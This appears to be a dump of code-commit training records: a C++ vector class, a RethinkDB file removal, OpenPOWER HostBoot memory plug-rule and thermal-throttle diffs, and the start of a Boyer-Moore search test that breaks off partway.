vec.count; i++) {\r\n out << vec.elements[i];\r\n if (i < vec.count - 1) {\r\n out << \", \";\r\n }\r\n }\r\n out << \"]\";\r\n return out;\r\n}\r\n\r\nvoid VectorInt::expand() {\r\n \/\/ 1. ask for new space for a new array\r\n int *newElements = new int[capacity * 2];\r\n\r\n \/\/ 2. copy the values over\r\n for (int i=0; i < count; i++) {\r\n newElements[i] = elements[i];\r\n }\r\n\r\n \/\/ 3. delete old array\r\n delete [] elements;\r\n\r\n \/\/ 4. point elements to new array\r\n elements = newElements;\r\n\r\n \/\/ 5. Update capacity\r\n capacity *= 2;\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2010-2012 RethinkDB, all rights reserved.\n#include \"clustering\/administration\/reactor_driver.tcc\"\n#include \"memcached\/protocol.hpp\"\n#include \"serializer\/serializer.hpp\"\n#include \"serializer\/translator.hpp\"\n\ntemplate class reactor_driver_t<memcached_protocol_t>;\n<commit_msg>Removed reactor_driver_instantiate_memcached.cc.<commit_after><|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/memory\/lib\/eff_config\/plug_rules.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2016,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\n\/\/\/\n\/\/\/ @file plug_rules.H\n\/\/\/ @brief Enforcement of rules for plugging in DIMM\n\/\/\/\n\/\/ *HWP HWP Owner: Brian Silver <bsilver@us.ibm.com>\n\/\/ *HWP HWP Backup: Andre Marin <aamarin@us.ibm.com>\n\/\/ *HWP Team: Memory\n\/\/ *HWP Level: 2\n\/\/ *HWP Consumed by: FSP:HB\n\n#ifndef _MSS_PLUG_RULES_H_\n#define _MSS_PLUG_RULES_H_\n\n#include <fapi2.H>\n#include <cstdint>\n#include <lib\/dimm\/kind.H>\n\nnamespace mss\n{\n\nnamespace plug_rule\n{\n\n\/\/\/\n\/\/\/ @brief Helper to evaluate the unsupported rank config override attribute\n\/\/\/ @param[in] i_dimm0_ranks count of the ranks on DIMM in slot 0\n\/\/\/ @param[in] i_dimm1_ranks count of the ranks on DIMM in slot 1\n\/\/\/ @param[in] i_attr value of the attribute containing the unsupported rank configs\n\/\/\/ @return true iff this rank config is supported according to the unsupported attribute\n\/\/\/ @note not to be used to enforce populated\/unpopulated - e.g., 0 ranks in both slots is ignored\n\/\/\/\nbool unsupported_rank_helper(const uint64_t i_dimm0_ranks, const uint64_t i_dimm1_ranks,\n const fapi2::buffer<uint64_t>& i_attr);\n\n\/\/\/\n\/\/\/ @brief Helper to find the best represented DIMM type in a vector of dimm::kind\n\/\/\/ @param[in, out] io_kinds a vector of dimm::kind\n\/\/\/ @return std::pair representing the type and the count.\n\/\/\/ @note the vector of kinds comes back sorted by DIMM type.\n\/\/\/\nstd::pair<uint8_t, uint64_t> dimm_type_helper(std::vector<dimm::kind>& io_kinds);\n\n\/\/\/\n\/\/\/ @brief Rank violation helper\n\/\/\/ Used to record a rank configuration violation. Broken out from other checking\n\/\/\/ so that we can throw a rank violation directly from VPD processing.\n\/\/\/ @tparam T target type for the error log\n\/\/\/ @param[in] i_target the target which constrains the rank violation checking\n\/\/\/ @param[in] l_dimm0_ranks the number of ranks on the DIMM in slot 0\n\/\/\/ @param[in] l_dimm1_ranks the number of ranks on the DIMM in slot 1\n\/\/\/ @note Commits the proper error log; does little else\n\/\/\/ @note Not presently used, but also not compiled in - left here because I think we're\n\/\/\/ gonna need it eventually.\n\/\/\/\ntemplate< fapi2::TargetType T >\ninline void rank_violation(const fapi2::Target<T> i_target, const uint8_t l_dimm0_ranks, const uint8_t l_dimm1_ranks)\n{\n \/\/ fapi2::current_err will NOT be set which is important for the caller - they can return\n \/\/ the original ReturnCode which got us here.\n FAPI_ERR(\"Rank config on %s violates the rank configuration rules. DIMM0 ranks: %d DIMM1 ranks: %d\",\n mss::c_str(i_target), l_dimm0_ranks, l_dimm1_ranks);\n\n fapi2::MSS_PLUG_RULES_INVALID_RANK_CONFIG()\n .set_RANKS_ON_DIMM0(l_dimm0_ranks)\n .set_RANKS_ON_DIMM1(l_dimm1_ranks)\n .set_TARGET(i_target).execute(fapi2::FAPI2_ERRL_SEV_UNDEFINED, true);\n}\n\n\/\/\/\n\/\/\/ @brief Enforce no mixing DIMM types\n\/\/\/ @param[in] i_kinds a vector of DIMM (sorted while procesing)\n\/\/\/ @return fapi2::FAPI2_RC_SUCCESS if okay, otherwise a MSS_PLUG_RULE error code\n\/\/\/ @note This function will commit error logs representing the mixing failure\n\/\/\/ @note The list of DIMM represents all the DIMM to check. So, if you want to\n\/\/\/ check the consistency of types across an MCS, give the list of DIMM on that MCS.\n\/\/\/ If you want to check across an MCBIST, system, etc., give that list of DIMM.\n\/\/\/\nfapi2::ReturnCode dimm_type_mixing(std::vector<dimm::kind>& io_kinds);\n\n\/\/\/\n\/\/\/ @brief Enforce rank configs\n\/\/\/ Enforces rank configurations which are not part of the VPD\/rank config thing.\n\/\/\/ @note Reads an MRW attribute to further limit rank configs.\n\/\/\/ @param[in] i_target the port\n\/\/\/ @param[in] i_kinds a vector of DIMM (sorted while processing)\n\/\/\/ @param[in] i_ranks_override value of mrw_unsupported_rank_config attribute\n\/\/\/ @return fapi2::FAPI2_RC_SUCCESS if okay\n\/\/\/ @note Expects the kind array to represent the DIMM on the port.\n\/\/\/\nfapi2::ReturnCode check_rank_config(const fapi2::Target<fapi2::TARGET_TYPE_MCA>& i_target,\n const std::vector<dimm::kind>& i_kinds,\n const uint64_t i_ranks_override);\n\n} \/\/ plug_rule\n} \/\/ mss\n\n#endif \/\/ _MSS_PLUG_RULES_H_\n<commit_msg>Implement BC attributes and make eff_dimm class<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/memory\/lib\/eff_config\/plug_rules.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2016,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\n\/\/\/\n\/\/\/ @file plug_rules.H\n\/\/\/ @brief Enforcement of rules for plugging in DIMM\n\/\/\/\n\/\/ *HWP HWP Owner: Brian Silver <bsilver@us.ibm.com>\n\/\/ *HWP HWP Backup: Andre Marin <aamarin@us.ibm.com>\n\/\/ *HWP Team: Memory\n\/\/ *HWP Level: 2\n\/\/ *HWP Consumed by: FSP:HB\n\n#ifndef _MSS_PLUG_RULES_H_\n#define _MSS_PLUG_RULES_H_\n\n#include <fapi2.H>\n#include <cstdint>\n#include <lib\/dimm\/kind.H>\n\nnamespace mss\n{\n\nnamespace plug_rule\n{\n\n\n\/\/\/\n\/\/\/ @brief Enforce the plug-rules per MCS\n\/\/\/ @param[in] i_target FAPI2 target (MCS)\n\/\/\/ @return fapi2::FAPI2_RC_SUCCESS if okay, otherwise a MSS_PLUG_RULE error code\n\/\/\/\nfapi2::ReturnCode enforce_plug_rules(const fapi2::Target<fapi2::TARGET_TYPE_MCS>& i_target);\n\n\/\/\/\n\/\/\/ @brief Enforce the plug-rules per MCA\n\/\/\/ @param[in] i_target FAPI2 target (MCA)\n\/\/\/ @return fapi2::FAPI2_RC_SUCCESS if okay, otherwise a MSS_PLUG_RULE error code\n\/\/\/\nfapi2::ReturnCode enforce_plug_rules(const fapi2::Target<fapi2::TARGET_TYPE_MCA>& i_target);\n\n\/\/\/\n\/\/\/ @brief Helper to evaluate the unsupported rank config override attribute\n\/\/\/ @param[in] i_dimm0_ranks count of the ranks on DIMM in slot 0\n\/\/\/ @param[in] i_dimm1_ranks count of the ranks on DIMM in slot 1\n\/\/\/ @param[in] i_attr value of the attribute containing the unsupported rank configs\n\/\/\/ @return true iff this rank config is supported according to the unsupported attribute\n\/\/\/ @note not to be used to enforce populated\/unpopulated - e.g., 0 ranks in both slots is ignored\n\/\/\/\nbool unsupported_rank_helper(const uint64_t i_dimm0_ranks, const uint64_t i_dimm1_ranks,\n const fapi2::buffer<uint64_t>& i_attr);\n\n\/\/\/\n\/\/\/ @brief Helper to find the best represented DIMM type in a vector of dimm::kind\n\/\/\/ @param[in, out] io_kinds a vector of dimm::kind\n\/\/\/ @return std::pair representing the type and the count.\n\/\/\/ @note the vector of kinds comes back sorted by DIMM type.\n\/\/\/\nstd::pair<uint8_t, uint64_t> dimm_type_helper(std::vector<dimm::kind>& io_kinds);\n\n\/\/\/\n\/\/\/ @brief Rank violation helper\n\/\/\/ Used to record a rank configuration violation. Broken out from other checking\n\/\/\/ so that we can throw a rank violation directly from VPD processing.\n\/\/\/ @tparam T target type for the error log\n\/\/\/ @param[in] i_target the target which constrains the rank violation checking\n\/\/\/ @param[in] l_dimm0_ranks the number of ranks on the DIMM in slot 0\n\/\/\/ @param[in] l_dimm1_ranks the number of ranks on the DIMM in slot 1\n\/\/\/ @note Commits the proper error log; does little else\n\/\/\/ @note Not presently used, but also not compiled in - left here because I think we're\n\/\/\/ gonna need it eventually.\n\/\/\/\ntemplate< fapi2::TargetType T >\ninline void rank_violation(const fapi2::Target<T> i_target, const uint8_t l_dimm0_ranks, const uint8_t l_dimm1_ranks)\n{\n \/\/ fapi2::current_err will NOT be set which is important for the caller - they can return\n \/\/ the original ReturnCode which got us here.\n FAPI_ERR(\"Rank config on %s violates the rank configuration rules. DIMM0 ranks: %d DIMM1 ranks: %d\",\n mss::c_str(i_target), l_dimm0_ranks, l_dimm1_ranks);\n\n fapi2::MSS_PLUG_RULES_INVALID_RANK_CONFIG()\n .set_RANKS_ON_DIMM0(l_dimm0_ranks)\n .set_RANKS_ON_DIMM1(l_dimm1_ranks)\n .set_TARGET(i_target).execute(fapi2::FAPI2_ERRL_SEV_UNDEFINED, true);\n}\n\n\/\/\/\n\/\/\/ @brief Enforce no mixing DIMM types\n\/\/\/ @param[in] i_kinds a vector of DIMM (sorted while procesing)\n\/\/\/ @return fapi2::FAPI2_RC_SUCCESS if okay, otherwise a MSS_PLUG_RULE error code\n\/\/\/ @note This function will commit error logs representing the mixing failure\n\/\/\/ @note The list of DIMM represents all the DIMM to check. So, if you want to\n\/\/\/ check the consistency of types across an MCS, give the list of DIMM on that MCS.\n\/\/\/ If you want to check across an MCBIST, system, etc., give that list of DIMM.\n\/\/\/\nfapi2::ReturnCode dimm_type_mixing(std::vector<dimm::kind>& io_kinds);\n\n\/\/\/\n\/\/\/ @brief Enforce rank configs\n\/\/\/ Enforces rank configurations which are not part of the VPD\/rank config thing.\n\/\/\/ @note Reads an MRW attribute to further limit rank configs.\n\/\/\/ @param[in] i_target the port\n\/\/\/ @param[in] i_kinds a vector of DIMM (sorted while processing)\n\/\/\/ @param[in] i_ranks_override value of mrw_unsupported_rank_config attribute\n\/\/\/ @return fapi2::FAPI2_RC_SUCCESS if okay\n\/\/\/ @note Expects the kind array to represent the DIMM on the port.\n\/\/\/\nfapi2::ReturnCode check_rank_config(const fapi2::Target<fapi2::TARGET_TYPE_MCA>& i_target,\n const std::vector<dimm::kind>& i_kinds,\n const uint64_t i_ranks_override);\n\n} \/\/ plug_rule\n} \/\/ mss\n\n#endif \/\/ _MSS_PLUG_RULES_H_\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/memory\/p9_mss_eff_config_thermal.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\n\/\/\/\n\/\/\/ @file p9_mss_eff_config_thermal.C\n\/\/\/ @brief Perform thermal calculations as part of the effective configuration\n\/\/\/\n\/\/ *HWP HWP Owner: Jacob Harvey <jlharvey@us.ibm.com>\n\/\/ *HWP HWP Backup: Brian Silver <bsilver@us.ibm.com>\n\/\/ *HWP Team: Memory\n\/\/ *HWP Level: 2\n\/\/ *HWP Consumed by: FSP:HB\n\n#include <fapi2.H>\n#include <vector>\n#include <p9_mss_eff_config_thermal.H>\n#include <p9_mss_bulk_pwr_throttles.H>\n#include <lib\/power_thermal\/throttle.H>\n#include <lib\/power_thermal\/decoder.H>\n#include <lib\/dimm\/kind.H>\n#include <lib\/utils\/count_dimm.H>\n#include <mss.H>\nextern \"C\"\n{\n \/\/\/\n \/\/\/ @brief Perform thermal calculations as part of the effective configuration\n \/\/\/ @param[in] i_targets an array of MCS targets all on the same VDDR domain\n \/\/\/ @return FAPI2_RC_SUCCESS iff ok\n \/\/\/\n fapi2::ReturnCode p9_mss_eff_config_thermal( const std::vector< fapi2::Target<fapi2::TARGET_TYPE_MCS> >& i_targets )\n {\n\n FAPI_INF(\"Start effective config thermal\");\n\n uint16_t l_vddr_slope [mss::PORTS_PER_MCS][mss::MAX_DIMM_PER_PORT] = {};\n uint16_t l_vddr_int [mss::PORTS_PER_MCS][mss::MAX_DIMM_PER_PORT] = {};\n uint16_t l_total_slope [mss::PORTS_PER_MCS][mss::MAX_DIMM_PER_PORT] = {};\n uint16_t l_total_int [mss::PORTS_PER_MCS][mss::MAX_DIMM_PER_PORT] = {};\n uint32_t l_thermal_power [mss::PORTS_PER_MCS][mss::MAX_DIMM_PER_PORT] = {};\n\n \/\/Gotta convert into fapi2::buffers. Not very elegant\n \/\/Do it here or in the encode and decode functions\n \/\/Not that pretty :(\n std::vector< uint64_t > l_tslope (mss::power_thermal::SIZE_OF_POWER_CURVES_ATTRS, 0);\n std::vector< uint64_t > l_tintercept (mss::power_thermal::SIZE_OF_POWER_CURVES_ATTRS, 0);\n std::vector< uint64_t > l_tthermal_power_limit (mss::power_thermal::SIZE_OF_THERMAL_ATTR, 0);\n\n std::vector<fapi2::buffer< uint64_t>> l_slope = {};\n std::vector<fapi2::buffer< uint64_t>> l_intercept = {};\n std::vector<fapi2::buffer< uint64_t>> l_thermal_power_limit = {};\n\n FAPI_TRY( mss::mrw_pwr_slope (l_tslope.data() ));\n FAPI_TRY( mss::mrw_pwr_intercept (l_tintercept.data()) );\n FAPI_TRY( mss::mrw_thermal_memory_power_limit (l_tthermal_power_limit.data()) );\n {\n for (auto l_tslope_iter = l_tslope.begin(); l_tslope_iter != l_tslope.end(); ++l_tslope_iter)\n {\n auto l_slope_buf = fapi2::buffer<uint64_t> (*l_tslope_iter);\n\n if (l_slope_buf != 0)\n {\n l_slope.push_back(l_slope_buf);\n }\n }\n\n for (auto l_tintercept_iter = l_tintercept.begin(); l_tintercept_iter != l_tintercept.end(); ++l_tintercept_iter)\n {\n auto l_intercept_buf = fapi2::buffer<uint64_t> (*l_tintercept_iter);\n\n if (l_intercept_buf != 0)\n {\n l_intercept.push_back(l_intercept_buf);\n }\n }\n\n for (auto l_tthermal_iter = l_tthermal_power_limit.begin();\n l_tthermal_iter != l_tthermal_power_limit.end();\n ++l_tthermal_iter)\n {\n auto l_tthermal_buf = fapi2::buffer<uint64_t> (*l_tthermal_iter);\n\n if (l_tthermal_buf != 0)\n {\n l_thermal_power_limit.push_back(l_tthermal_buf);\n }\n }\n }\n\n \/\/Restore runtime_throttles from safemode setting\n \/\/Decode and set power curve attributes at the same time\n for (const auto& l_mcs : i_targets )\n {\n \/\/Not doing any work if there are no dimms installed\n if (mss::count_dimm(l_mcs) == 0)\n {\n continue;\n }\n\n FAPI_TRY( mss::power_thermal::get_power_attrs(l_mcs,\n l_slope,\n l_intercept,\n l_thermal_power_limit,\n l_vddr_slope,\n l_vddr_int,\n l_total_slope,\n l_total_int,\n l_thermal_power));\n \/\/Sets throttles to max_databus_util value\n FAPI_INF(\"Restoring throttles\");\n FAPI_TRY( mss::power_thermal::restore_runtime_throttles(l_mcs));\n\n \/\/Set the power attribute (TOTAL_PWR) to just VDDR for the POWER bulk_pwr_throttles, restore to vddr+vpp later for OCC\n FAPI_TRY( FAPI_ATTR_SET(fapi2::ATTR_MSS_TOTAL_PWR_SLOPE,\n l_mcs,\n l_vddr_slope));\n\n FAPI_TRY( FAPI_ATTR_SET(fapi2::ATTR_MSS_TOTAL_PWR_INTERCEPT,\n l_mcs,\n l_vddr_int));\n\n FAPI_TRY( FAPI_ATTR_SET(fapi2::ATTR_MSS_DIMM_THERMAL_LIMIT,\n l_mcs,\n l_thermal_power));\n }\n\n FAPI_INF(\"Starting bulk_pwr\");\n \/\/get the thermal limits, done per dimm and set to worst case for the slot and port throttles\n \/\/Bulk_pwr sets the general, all purpose ATTR_MSS_MEM_THROTTLED_N_COMMANDS_PER_SLOT, _PER_PORT, and MAXPOWER ATTRs\n FAPI_TRY( p9_mss_bulk_pwr_throttles(i_targets, POWER));\n\n \/\/Set runtime throttles to worst case between ATTR_MSS_MEM_THROTTLED_N_COMMANDS_PER_SLOT\n \/\/and ATTR_MSS_MEM_RUNTIME_THROTTLED_N_COMMANDS_PER_SLOT and the _PORT equivalents also\n FAPI_INF(\"Starting update\");\n FAPI_TRY( mss::power_thermal::update_runtime_throttles (i_targets));\n FAPI_INF(\"finished update\");\n\n \/\/Set VDDR+VPP power curve values\n for ( const auto& l_mcs : i_targets )\n {\n FAPI_TRY( mss::power_thermal::get_power_attrs(l_mcs,\n l_slope,\n l_intercept,\n l_thermal_power_limit,\n l_vddr_slope,\n l_vddr_int,\n l_total_slope,\n l_total_int,\n l_thermal_power));\n\n FAPI_INF( \"VDDR+VPP power curve slope is %d, int is %d, thermal_power is %d\", l_total_slope[0][0], l_total_int[0][0],\n l_thermal_power[0][0]);\n\n \/\/Set the power attribute (TOTAL_PWR) to vpp+vdd power slope\n FAPI_TRY( FAPI_ATTR_SET(fapi2::ATTR_MSS_TOTAL_PWR_SLOPE,\n l_mcs,\n l_total_slope));\n\n FAPI_TRY( FAPI_ATTR_SET(fapi2::ATTR_MSS_TOTAL_PWR_INTERCEPT,\n l_mcs,\n l_total_int));\n }\n\n \/\/Run thermal throttles with the VDDR+VPP power curves\n FAPI_TRY( p9_mss_bulk_pwr_throttles(i_targets, THERMAL));\n \/\/Update everything to worst case\n FAPI_TRY( mss::power_thermal::update_runtime_throttles (i_targets));\n\n \/\/Done\n FAPI_INF( \"End effective config thermal\");\n\n fapi_try_exit:\n return fapi2::FAPI2_RC_SUCCESS;\n }\n} \/\/extern C\n<commit_msg>Fixing bulk_pwr_throttles calculations<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/memory\/p9_mss_eff_config_thermal.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\n\/\/\/\n\/\/\/ @file p9_mss_eff_config_thermal.C\n\/\/\/ @brief Perform thermal calculations as part of the effective configuration\n\/\/\/\n\/\/ *HWP HWP Owner: Jacob Harvey <jlharvey@us.ibm.com>\n\/\/ *HWP HWP Backup: Brian Silver <bsilver@us.ibm.com>\n\/\/ *HWP Team: Memory\n\/\/ *HWP Level: 2\n\/\/ *HWP Consumed by: FSP:HB\n\n#include <fapi2.H>\n#include <vector>\n#include <p9_mss_eff_config_thermal.H>\n#include <p9_mss_bulk_pwr_throttles.H>\n#include <lib\/power_thermal\/throttle.H>\n#include <lib\/power_thermal\/decoder.H>\n#include <lib\/dimm\/kind.H>\n#include <lib\/utils\/count_dimm.H>\n#include <mss.H>\nextern \"C\"\n{\n \/\/\/\n \/\/\/ @brief Perform thermal calculations as part of the effective configuration\n \/\/\/ @param[in] i_targets an array of MCS targets all on the same VDDR domain\n \/\/\/ @return FAPI2_RC_SUCCESS iff ok\n \/\/\/\n fapi2::ReturnCode p9_mss_eff_config_thermal( const std::vector< fapi2::Target<fapi2::TARGET_TYPE_MCS> >& i_targets )\n {\n\n FAPI_INF(\"Start effective config thermal\");\n\n uint16_t l_vddr_slope [mss::PORTS_PER_MCS][mss::MAX_DIMM_PER_PORT] = {};\n uint16_t l_vddr_int [mss::PORTS_PER_MCS][mss::MAX_DIMM_PER_PORT] = {};\n uint16_t l_total_slope [mss::PORTS_PER_MCS][mss::MAX_DIMM_PER_PORT] = {};\n uint16_t l_total_int [mss::PORTS_PER_MCS][mss::MAX_DIMM_PER_PORT] = {};\n uint32_t l_thermal_power [mss::PORTS_PER_MCS][mss::MAX_DIMM_PER_PORT] = {};\n fapi2::ReturnCode l_rc;\n \/\/Gotta convert into fapi2::buffers. Not very elegant\n \/\/Do it here or in the encode and decode functions\n \/\/Not that pretty :(\n std::vector< uint64_t > l_tslope (mss::power_thermal::SIZE_OF_POWER_CURVES_ATTRS, 0);\n std::vector< uint64_t > l_tintercept (mss::power_thermal::SIZE_OF_POWER_CURVES_ATTRS, 0);\n std::vector< uint64_t > l_tthermal_power_limit (mss::power_thermal::SIZE_OF_THERMAL_ATTR, 0);\n\n std::vector<fapi2::buffer< uint64_t>> l_slope = {};\n std::vector<fapi2::buffer< uint64_t>> l_intercept = {};\n std::vector<fapi2::buffer< uint64_t>> l_thermal_power_limit = {};\n\n FAPI_TRY( mss::mrw_pwr_slope (l_tslope.data() ));\n FAPI_TRY( mss::mrw_pwr_intercept (l_tintercept.data()) );\n FAPI_TRY( mss::mrw_thermal_memory_power_limit (l_tthermal_power_limit.data()) );\n FAPI_TRY( mss::power_thermal::set_runtime_m_and_watt_limit(i_targets));\n\n for (size_t i = 0; i < mss::power_thermal::SIZE_OF_POWER_CURVES_ATTRS; ++i)\n {\n for (const auto l_cur : l_tslope)\n {\n fapi2::buffer<uint64_t> l_slope_buf = l_cur;\n\n if (l_slope_buf != 0)\n {\n l_slope.push_back(l_slope_buf);\n }\n }\n\n for (auto l_cur : l_tintercept)\n {\n fapi2::buffer<uint64_t> l_intercept_buf = l_cur;\n\n if (l_intercept_buf != 0)\n {\n l_intercept.push_back(l_intercept_buf);\n }\n }\n\n for (auto l_cur : l_tthermal_power_limit)\n {\n fapi2::buffer<uint64_t> l_tthermal_buf = l_cur;\n\n if (l_tthermal_buf != 0)\n {\n l_thermal_power_limit.push_back(l_tthermal_buf);\n }\n }\n }\n\n \/\/Restore runtime_throttles from safemode setting\n \/\/Decode and set power curve attributes at the same time\n for (const auto& l_mcs : i_targets )\n {\n \/\/Not doing any work if there are no dimms installed\n if (mss::count_dimm(l_mcs) == 0)\n {\n continue;\n }\n\n FAPI_TRY( mss::power_thermal::get_power_attrs(l_mcs,\n l_slope,\n l_intercept,\n l_thermal_power_limit,\n l_vddr_slope,\n l_vddr_int,\n l_total_slope,\n l_total_int,\n l_thermal_power));\n \/\/Sets throttles to max_databus_util value\n FAPI_INF(\"Restoring throttles\");\n FAPI_TRY( mss::power_thermal::restore_runtime_throttles(l_mcs));\n\n \/\/Set the power attribute (TOTAL_PWR) to just VDDR for the POWER bulk_pwr_throttles, restore to vddr+vpp later for OCC\n FAPI_TRY( FAPI_ATTR_SET(fapi2::ATTR_MSS_TOTAL_PWR_SLOPE,\n l_mcs,\n l_vddr_slope));\n\n FAPI_TRY( FAPI_ATTR_SET(fapi2::ATTR_MSS_TOTAL_PWR_INTERCEPT,\n l_mcs,\n l_vddr_int));\n\n FAPI_TRY( FAPI_ATTR_SET(fapi2::ATTR_MSS_DIMM_THERMAL_LIMIT,\n l_mcs,\n l_thermal_power));\n }\n\n FAPI_INF(\"Starting bulk_pwr\");\n \/\/get the thermal limits, done per dimm and set to worst case for the slot and port throttles\n \/\/Bulk_pwr sets the general, all purpose ATTR_MSS_MEM_THROTTLED_N_COMMANDS_PER_SLOT, _PER_PORT, and MAXPOWER ATTRs\n FAPI_EXEC_HWP(l_rc, p9_mss_bulk_pwr_throttles, i_targets, POWER);\n FAPI_TRY(l_rc);\n\n \/\/Set runtime throttles to worst case between ATTR_MSS_MEM_THROTTLED_N_COMMANDS_PER_SLOT\n \/\/and ATTR_MSS_MEM_RUNTIME_THROTTLED_N_COMMANDS_PER_SLOT and the _PORT equivalents also\n FAPI_INF(\"Starting update\");\n FAPI_TRY( mss::power_thermal::update_runtime_throttles (i_targets));\n FAPI_INF(\"finished update\");\n\n \/\/Set VDDR+VPP power curve values\n for ( const auto& l_mcs : i_targets )\n {\n FAPI_TRY( mss::power_thermal::get_power_attrs(l_mcs,\n l_slope,\n l_intercept,\n l_thermal_power_limit,\n l_vddr_slope,\n l_vddr_int,\n l_total_slope,\n l_total_int,\n l_thermal_power));\n\n FAPI_INF( \"VDDR+VPP power curve slope is %d, int is %d, thermal_power is %d\", l_total_slope[0][0], l_total_int[0][0],\n l_thermal_power[0][0]);\n\n \/\/Set the power attribute (TOTAL_PWR) to vpp+vdd power slope\n FAPI_TRY( FAPI_ATTR_SET(fapi2::ATTR_MSS_TOTAL_PWR_SLOPE,\n l_mcs,\n l_total_slope));\n\n FAPI_TRY( FAPI_ATTR_SET(fapi2::ATTR_MSS_TOTAL_PWR_INTERCEPT,\n l_mcs,\n l_total_int));\n }\n\n \/\/Run thermal throttles with the VDDR+VPP power curves\n FAPI_EXEC_HWP(l_rc, p9_mss_bulk_pwr_throttles, i_targets, THERMAL);\n FAPI_TRY(l_rc);\n \/\/Update everything to worst case\n FAPI_TRY( mss::power_thermal::update_runtime_throttles (i_targets));\n\n \/\/Done\n FAPI_INF( \"End effective config thermal\");\n\n fapi_try_exit:\n return fapi2::FAPI2_RC_SUCCESS;\n }\n} \/\/extern C\n<|endoftext|>"} {"text":"<commit_before>#include <mimelib\/boyermor.h>\n#include <mimelib\/string.h>\n\n#include <iostream>\nusing std::cerr;\nusing std::cout;\nusing std::endl;\n\nstatic const char * _haystack =\n \"haystackNeedleHaystackneedlehaYstackneeDlehaystack\";\n\nint main( int argc, char * argv[] ) {\n\n if ( argc == 3 ) { \/\/ manual test\n DwString needle( argv[1] );\n DwString haystack( argv[2] );\n\n DwBoyerMoore csbm( needle ); \/\/ case-sensitive\n DwBoyerMoore cisbm( needle ); \/\/ case-insensitive\n\n cout << \"Case-sensitive search found \";\n for ( size_t idx = 0 ; ( idx = csbm.FindIn( haystack, idx ) ) != DwString::npos ; ++idx )\n cout << (int)idx << \" \";\n cout << endl;\n cout << \"Case-insensitive search found \";\n for ( size_t idx = 0 ; ( idx = cisbm.FindIn( haystack, idx, false ) ) != DwString::npos ; ++idx )\n cout << (int)idx << \" \";\n cout << endl;\n exit( 0 );\n } else if ( argc == 1 ) { \/\/ automated test\n DwString haystack( _haystack );\n\n DwBoyerMoore needle_cs( \"needle\" );\n DwBoyerMoore needle_cis( \"needle\" );\n DwBoyerMoore Needle_cs( \"Needle\" );\n DwBoyerMoore Needle_cis( \"Needle\" );\n DwBoyerMoore neeDle_cs( \"neeDle\" );\n DwBoyerMoore neeDle_cis( \"neeDle\" );\n\n assert( needle_cs.FindIn( haystack, 0 ) == 22 );\n assert( needle_cs.FindIn( haystack, 23 ) == DwString::npos );\n\n assert( needle_cis.FindIn( haystack, 0, false ) == 8 );\n 